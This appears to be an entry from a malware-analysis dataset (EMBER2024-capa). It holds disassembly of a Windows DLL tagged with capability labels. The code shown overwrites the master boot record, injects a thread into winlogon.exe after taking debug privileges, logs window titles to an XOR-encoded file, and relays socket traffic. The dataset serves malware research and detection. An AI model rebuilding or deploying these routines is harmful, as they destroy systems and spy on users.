joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000424e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push str.RegCloseKey
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100042ab
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100042ab
push dword [ebp - 4]
call edi
pop edi
pop esi
leave
ret

Function at 0x10004452
Capabilities:
Overwrite master boot record (mbr)
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateFileA
push str.kernel32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.ExitWindowsEx
push str.USER32.dll
mov esi, eax
call edi
push eax
call ebx
push 0x7f
mov dword [ebp - 4], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x21f]
mov byte [ebp - 0x220], bl
push 0x33
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push 0x100163f0
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov byte [ebp - 0x22], 0x55
mov byte [ebp - 0x21], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call esi
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x10004592
lea eax, [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push edi
call esi
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x220]
push 0x200
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10004584
lea eax, [ebp - 8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x1c]
push eax
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push ebx
push ebx
lea eax, [ebp - 0x20]
push ebx
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call dword [ebp - 4]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004597
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x10]
push eax
push 0x8004667e
push dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0x10], esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test edi, edi
jle 0x100045d6
mov eax, dword [ebp + 0xc]
push 0
add eax, esi
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x100045d6
add esi, eax
sub edi, eax
jmp 0x100045b6
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x100045dc
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x210c
call fcn.10011b10
mov eax, dword [ebp + 8]
and byte [ebp - 0x210c], 0
push ebx
push esi
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 4], eax
mov ecx, 0x7ff
xor eax, eax
lea edi, [ebp - 0x210b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [ebp - 4]
push 1
pop edx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x10c], edx
xor ecx, ecx
lea eax, [ebp - 0x108]
cmp dword [eax], esi
je 0x1000463c
inc ecx
add eax, 4
cmp ecx, edx
jb 0x10004630
cmp ecx, edx
jne 0x10004650
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x10c], 2
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x100046fb
lea eax, [ebp - 0x10c]
push eax
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x100046af
push esi
lea eax, [ebp - 0x210c]
push 0x2000
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x100046fb
lea eax, [ebp - 0x210c]
push esi
push eax
push dword [ebp - 4]
call fcn.10004597
add esp, 0xc
test eax, eax
je 0x100046fb
cmp eax, esi
jne 0x100046fb
xor esi, esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10004616
push esi
lea eax, [ebp - 0x210c]
push 0x2000
push eax
push dword [ebp - 4]
call edi
mov esi, eax
test esi, esi
jle 0x100046fb
lea eax, [ebp - 0x210c]
push esi
push eax
push ebx
call fcn.10004597
add esp, 0xc
test eax, eax
je 0x100046fb
cmp eax, esi
je 0x10004616
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x10004712
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000475e
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov word [ebp - 0x10], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10004762
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10004764
mov eax, esi
pop esi
leave
ret
Function at 0x1000477e
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
add esp, 0x190
ret

Function at 0x1000481a
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, 0x10011f5f
call fcn.10011ae4
mov eax, 0x1038
call fcn.10011b10
or dword [ebp - 0x1018], 0xffffffff
push esi
push edi
xor esi, esi
push 0x1030
lea eax, [ebp - 0x1044]
push esi
push eax
mov dword [ebp - 0x1044], 0x10013364
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x1040]
mov dword [ebp - 4], esi
push 0x10016eb4
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1020], ax
push dword [ebp + 8]
call fcn.10004767
mov edi, eax
add esp, 0x24
cmp edi, esi
jbe 0x1000491d
mov dword [ebp - 0x101c], edi
push esi
lea eax, [ebp - 0xe]
push 2
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1000491d
inc dword [0x100197cc]
cmp dword [ebp - 0x1018], 0x800
jge 0x100048d4
inc dword [ebp - 0x1018]
mov ecx, dword [ebp - 0x1018]
mov ax, word [ebp - 0xe]
mov word [ebp + ecx*2 - 0x1014], ax
push str.CreateThread
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x1044]
push esi
push ecx
push 0x100047a0
push esi
push esi
call eax
cmp eax, esi
je 0x1000490d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10004898
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004898
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x10004aea
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10004b0b
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push str.SeDebugPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10004b54
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10004b54
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x10004bf8
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.10004aea
push dword [ebp + 8]
call fcn.1000b321
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x10004c2e
xor al, al
jmp 0x10004dca
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call sub.MSVCRT.dll_memset
push str.lld.23ipavda
call dword [sym.imp.MSVCRT.dll__strrev]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x10
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenSCManagerA
push ebx
call esi
push str.OpenServiceA
push ebx
mov dword [ebp - 0xf8], eax
call esi
push str.QueryServiceStatus
push ebx
mov dword [ebp - 0xf4], eax
call esi
push str.ControlService
push ebx
mov dword [ebp - 0xf0], eax
call esi
push str.StartServiceA
push ebx
mov dword [ebp - 0xec], eax
call esi
push str.DeleteService
push ebx
mov dword [ebp - 0xe8], eax
call esi
push str.CloseServiceHandle
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push str.shlwapi.dll
call edi
push str.SHDeleteKeyA
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push str.kernel32.dll
call edi
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
mov edi, 0x1000
mov esi, 0xf4
push edi
xor ebx, ebx
push esi
push ebx
push dword [ebp + 8]
call dword [0x1001976c]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x10004c27
push ebx
lea ecx, [ebp - 0xf8]
push esi
push ecx
push eax
push dword [ebp + 8]
call dword [0x10019770]
test eax, eax
je 0x10004c27
push 0x40
push edi
mov edi, 0x2800
push edi
push ebx
push dword [ebp + 8]
call dword [0x1001976c]
mov esi, eax
cmp esi, ebx
je 0x10004c27
push ebx
push edi
push 0x10004b62
push esi
push dword [ebp + 8]
call dword [0x10019770]
test eax, eax
je 0x10004c27
push ebx
push ebx
push dword [ebp + 0xc]
push esi
push ebx
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005714
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [0x10019760]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x10005763
call fcn.1000556a
test eax, eax
pop ecx
je 0x100057b7
push edi
call fcn.1000556a
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100057b7
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [0x10018f24]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [0x10019768]
cmp eax, 0xffffffff
jne 0x100057bd
push dword [esi]
call dword [0x10019764]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x100057b9

Function at 0x10005859
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x100058ad
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100058b1
xor eax, eax
jmp 0x100058ea
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10005500
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret
Function at 0x10005b77
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push esi
lea eax, [ebp - 0x1a4]
push edi
push eax
push 0x202
call dword [0x10018f18]
test eax, eax
je 0x10005ba0
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10005b99
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x10018f20]
mov word [ebp - 0x10], 2
push eax
call dword [0x10019760]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
xor esi, esi
push eax
push ebx
mov dword [ebp - 0xc], esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10005b99
push 0x32
push ebx
call fcn.10004ee1
pop ecx
cmp eax, 0xffffffff
pop ecx
je 0x10005b99
push esi
push esi
push ebx
call dword [0x10019730]
push 8
mov edi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, esi
pop ecx
je 0x10005bfa
lea ecx, [ebp - 0x14]
mov dword [eax], edi
push ecx
push esi
push eax
push 0x100058ed
push esi
push esi
call dword [0x1001972c]
cmp eax, esi
jne 0x10005c38
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005bfa
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10005bfa

Function at 0x10006697
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push str.CreateFileA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push str.info.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call edi
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000671d
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov ebx, eax
jle 0x10006748
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x1000673c
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000676c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
and byte [ebp - 0x418], 0
mov edx, eax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x417]
and dword [ebp - 4], 0
rep stosd dword es:[edi], eax
cmp edx, dword [0x10019de4]
mov dword [ebp - 8], edx
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x1000684d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, 0x10019de8
push esi
call ebx
test eax, eax
mov edi, 0x400
jle 0x1000683a
push 0x10018f28
call ebx
test eax, eax
jle 0x10006818
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x418]
push 0x10017124
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x418]
push eax
call fcn.10006697
add esp, 0x28
push edi
lea eax, [ebp - 0x418]
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 4], 1
mov eax, dword [ebp - 8]
push edi
push esi
push eax
mov dword [0x10019de4], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
pop esi
pop ebx
mov eax, dword [ebp - 4]
pop edi
leave
ret

Function at 0x10006f13
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
mov ebx, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
push ebx
mov dword [ebp - 4], ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x108]
push 0x10016334
push eax
call esi
mov eax, dword [ebp - 4]
add eax, 0x10
push eax
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push str.ex.dll
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x20c]
push str._d.bak
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x10018f08]
push 4
lea eax, [ebp - 0x20c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x310]
push ebx
push eax
call edi
lea eax, [ebp - 0x310]
push str._syslog.dat
push eax
call esi
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp - 4]
cmp dword [esi + 0x9e54], 0x120
lea eax, [esi + 0x10]
push eax
je 0x10006fef
push str.winlogon.exe
call fcn.10004bf8
pop ecx
jmp 0x10006ff4
call fcn.1000352e
pop ecx
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007254
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push str.CreateFileA
mov dword [ebp - 0xc], ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push str.info.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push bind
push eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000730c
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x100072f8
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x100072ef
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.100071f1
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x10007859
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013390
push 0x10011b5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x100078f7
dec eax
je 0x10007918
dec eax
je 0x100078cb
dec eax
jne 0x10007972
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007972
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10007967
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007972
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x10007967
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007972
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007972
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x10007972
cmp edi, 2
jbe 0x1000794b
cmp edi, 4
jne 0x10007972
push edi
lea eax, [ebp + 0x1c]
push eax
push edi
jmp 0x1000795a
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10007972
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000798d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret